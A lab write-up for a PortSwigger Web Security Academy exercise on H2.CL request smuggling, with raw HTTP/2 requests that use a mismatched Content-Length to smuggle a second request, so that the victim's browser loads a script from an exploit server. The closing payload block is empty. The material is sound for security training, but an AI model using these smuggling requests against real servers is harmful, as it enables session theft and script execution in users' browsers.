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# H2.CL Request Smuggling
H2.CL Request Smuggling notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### H2.CL Request Smuggling
This lab is vulnerable to **request smuggling** because the front-end server downgrades **HTTP/2** requests even when they have an ambiguous length.
The objective is to conduct an attack allowing the victim's browser to load and execute a **malware JavaScript file** hosted on the exploit server, containing:
```javascript
alert(document.cookie)
```
The victim user visits the homepage every **10 seconds**.
#### **Switching a 404 via Smuggling**
A length incoherence is required to cause a **404 Not Found**:
```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14
test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11
test=test
```
#### **Analysis of Application Behaviour**
The page automatically loads a script:
`resources/js/analytics.js?uid=3309545055`
This script generates a random identifier and sends a query to:
```javascript
/analytics?id=
```
Extract from function:
```javascript
function randomString(length, chars) {
var result = '';
for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```
#### **Observation of Accepted Paths**
A smuggled query to:
```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11
test=test
```
is accepted.
On the other hand, other paths are not.
#### **Malicious Script Injection**
We place our payload in the file provided by the exploit server:
* file name: **resources**
* body content:
```javascript
```
The victim is redirected to this file, and the browser executes the alert, confirming the exploitation.
---
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